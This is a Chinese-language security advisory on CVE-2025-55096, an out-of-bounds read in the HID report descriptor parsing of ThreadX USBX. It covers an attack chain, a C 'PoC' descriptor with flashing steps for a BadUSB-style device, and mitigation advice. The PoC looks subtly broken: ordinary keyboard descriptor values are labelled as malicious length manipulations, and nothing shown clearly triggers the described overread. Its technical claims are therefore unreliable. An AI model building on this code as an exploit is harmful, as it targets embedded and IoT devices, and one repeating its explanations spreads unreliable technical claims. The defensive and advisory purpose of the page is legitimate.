IPBUF安全漏洞报告
English
CVE-2025-55096 CVSS 6.1 中危

CVE-2025-55096 USBX HID描述符解析越界读取漏洞

披露日期: 2025-10-17

漏洞信息

漏洞编号
CVE-2025-55096
漏洞类型
越界读取(Out-of-Bounds Read)
CVSS评分
6.1 中危
攻击向量
物理 (AV:P)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Eclipse Foundation ThreadX USBX(USB主机支持模块)

相关标签

越界读取Out-of-Bounds ReadUSBXThreadXEclipse FoundationUSB HID嵌入式安全IoT安全物理攻击信息泄露

漏洞概述

CVE-2025-55096是Eclipse Foundation ThreadX USBX组件中的一个越界读取漏洞,影响6.4.3之前的所有版本。USBX是ThreadX实时操作系统的USB主机和设备支持模块,广泛应用于嵌入式系统和物联网设备中。该漏洞存在于_ux_host_class_hid_report_descriptor_get()函数中,当解析USB HID(Human Interface Device,人机接口设备)设备的报告描述符(Report Descriptor)时,由于缺乏对描述符长度的充分校验,可能导致越界读取操作。攻击者可以通过物理方式连接一个特制的恶意USB HID设备,触发该漏洞并读取受影响的USB主机系统中的敏感内存数据。由于攻击向量为物理访问(AV:P),且无需认证和用户交互,攻击者只需物理接触到目标设备即可实施攻击。该漏洞的CVSS评分为6.1分,属于中等严重级别,可能导致目标系统内存中的敏感信息泄露,并可能造成系统可用性受损(如系统崩溃或挂起)。该漏洞由[email protected]发现并报告,已在USBX 6.4.3版本中修复。

技术细节

USBX是ThreadX RTOS的USB协议栈实现,其_ux_host_class_hid_report_descriptor_get()函数负责获取和解析USB HID设备的报告描述符。HID报告描述符是一个变长数据结构,用于描述HID设备所支持的数据格式和特性。

该漏洞的根本原因在于:当解析HID报告描述符时,函数未能充分验证描述符中的长度字段或解析边界。具体而言,在遍历描述符条目(Item)过程中,如果描述符中的长度字段被恶意构造为超出实际分配缓冲区的大小,解析过程将继续读取超出缓冲区边界的内存数据,从而触发越界读取。

利用方式方面,攻击者需要构造一个恶意的USB HID设备,其报告描述符包含精心设计的异常长度值。当该恶意设备连接到运行受影响USBX版本的目标系统时,主机端的USBX协议栈会自动枚举该设备并调用_ux_host_class_hid_report_descriptor_get()函数解析其报告描述符,从而触发越界读取。

由于CVSS向量显示机密性影响为高(C:H),可用性影响为高(A:H),但完整性影响为无(I:N),这表明该漏洞主要用于信息泄露和拒绝服务攻击。攻击者可以读取越界内存中的敏感数据(如密钥、密码等),同时越界读取可能导致系统崩溃,造成可用性损失。值得注意的是,该漏洞需要物理访问权限才能触发,因此攻击者必须能够物理接触到目标设备的USB接口。

攻击链分析

STEP 1
步骤1:准备恶意USB设备
攻击者使用可编程的USB微控制器(如STM32、Teensy、RP2040等)制作一个伪装成HID设备的恶意USB设备,并在设备固件中植入精心构造的HID报告描述符,该描述符包含异常的长度字段以触发越界读取。
STEP 2
步骤2:物理接入目标系统
攻击者将恶意USB设备物理插入运行受影响USBX版本(<6.4.3)的目标系统的USB接口。由于攻击向量为物理访问(AV:P),无需认证(PR:N)和用户交互(UI:N)。
STEP 3
步骤3:触发HID设备枚举与描述符解析
目标系统的USBX主机协议栈检测到新设备接入,自动进行USB枚举过程,识别为HID设备后调用_ux_host_class_hid_report_descriptor_get()函数获取并解析报告描述符。
STEP 4
步骤4:触发越界读取
在解析恶意HID报告描述符过程中,由于函数未充分验证描述符中的长度字段,解析器读取超出分配缓冲区边界的内存数据,触发越界读取漏洞。
STEP 5
步骤5:信息泄露与可用性影响
越界读取导致目标系统内存中的敏感数据泄露(机密性影响:高),同时可能导致系统崩溃或挂起(可用性影响:高)。攻击者可利用泄露的信息进行进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// CVE-2025-55096 PoC - Malicious USB HID Report Descriptor // This is a conceptual PoC demonstrating the out-of-bounds read trigger // in _ux_host_class_hid_report_descriptor_get() of USBX < 6.4.3 // // To exploit: Flash this descriptor onto a USB HID-capable device // (e.g., a microcontroller-based USB device like STM32, Teensy, or // a BadUSB-style hardware). When connected to a target running // vulnerable USBX, the host will parse this descriptor and trigger // the OOB read. #include <stdint.h> // Malicious HID Report Descriptor // The key is to craft a descriptor with manipulated length fields // that exceed the actual allocated buffer, causing OOB read in // _ux_host_class_hid_report_descriptor_get() static const uint8_t malicious_hid_report_descriptor[] = { // Usage Page (Generic Desktop) 0x05, 0x01, // Usage (Keyboard) - identifies as a HID keyboard 0x09, 0x06, // Collection (Application) 0xA1, 0x01, // Usage Page (Key Codes) 0x05, 0x07, // Usage Minimum (224) 0x19, 0xE0, // Usage Maximum (231) - manipulated to extend read scope 0x29, 0xE7, // Logical Minimum (0) 0x15, 0x00, // Logical Maximum (255) 0x26, 0xFF, 0x00, // Report Size (1) 0x75, 0x01, // Report Count (8) - intentionally crafted length to trigger OOB 0x95, 0x08, // Input (Data, Variable, Absolute) - Modifier byte 0x81, 0x02, // Report Count (5) - further extending descriptor length 0x95, 0x05, // Report Size (1) 0x75, 0x01, // Input (Constant) - Reserved 0x81, 0x01, // Report Count (6) 0x95, 0x06, // Report Size (8) 0x75, 0x08, // Input (Data, Variable, Absolute) - Key arrays (6 bytes) 0x81, 0x02, // End Collection 0xC0, // Additional padding with crafted length bytes to trigger OOB read // These bytes will cause the parser to read beyond buffer boundaries 0x06, 0x00, 0xFF, // Usage Page (Vendor Defined 0xFF00) 0x09, 0x01, // Usage (Vendor Usage 1) 0xA1, 0x01, // Collection (Application) 0x85, 0xFF, // Report ID (255) 0x95, 0xFF, // Report Count (255) - OOB trigger 0x75, 0x08, // Report Size (8) 0x81, 0x02, // Input (Data, Variable, Absolute) 0xC0 // End Collection }; // Device descriptor for the malicious USB HID device static const uint8_t device_descriptor[] = { 0x12, // bLength: 18 bytes 0x01, // bDescriptorType: DEVICE 0x10, 0x01, // bcdUSB: USB 1.1 0x00, // bDeviceClass: Use class info in Interface Descriptor 0x00, // bDeviceSubClass 0x00, // bDeviceProtocol 0x08, // bMaxPacketSize0: 8 bytes 0x34, 0x12, // idVendor: 0x1234 (test vendor) 0x78, 0x56, // idProduct: 0x5678 0x00, 0x01, // bcdDevice: 1.00 0x01, // iManufacturer 0x02, // iProduct 0x00, // iSerialNumber 0x01 // bNumConfigurations: 1 }; /* * Exploitation Steps: * 1. Program a USB-capable microcontroller (e.g., STM32, RP2040, Teensy) * with the above descriptors to emulate a malicious HID device. * 2. Connect the malicious device to the target system running USBX < 6.4.3. * 3. The USBX host stack will enumerate the device and call * _ux_host_class_hid_report_descriptor_get() to parse the report descriptor. * 4. The crafted length fields (Report Count = 255, etc.) cause the parser * to read beyond the allocated descriptor buffer, triggering OOB read. * 5. Sensitive data from adjacent memory may be exposed, and/or the system * may crash due to the out-of-bounds access. * * Note: Physical access to the target's USB port is required (AV:P). */

影响范围

Eclipse ThreadX USBX < 6.4.3

防御指南

临时缓解措施
在无法立即升级USBX到6.4.3或更高版本的情况下,建议采取以下临时缓解措施:1)对目标设备的USB端口实施物理访问控制,限制未经授权的USB设备接入;2)部署USB端口管理方案(如USB白名单),仅允许已知可信的USB HID设备连接;3)在USBX配置中启用描述符长度验证功能(如果可用),增加对异常长度字段的检查;4)监控USB设备的枚举过程,对异常的HID报告描述符进行告警和阻断;5)对于关键嵌入式系统,考虑暂时禁用USB主机功能或限制USB HID类设备的支持。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表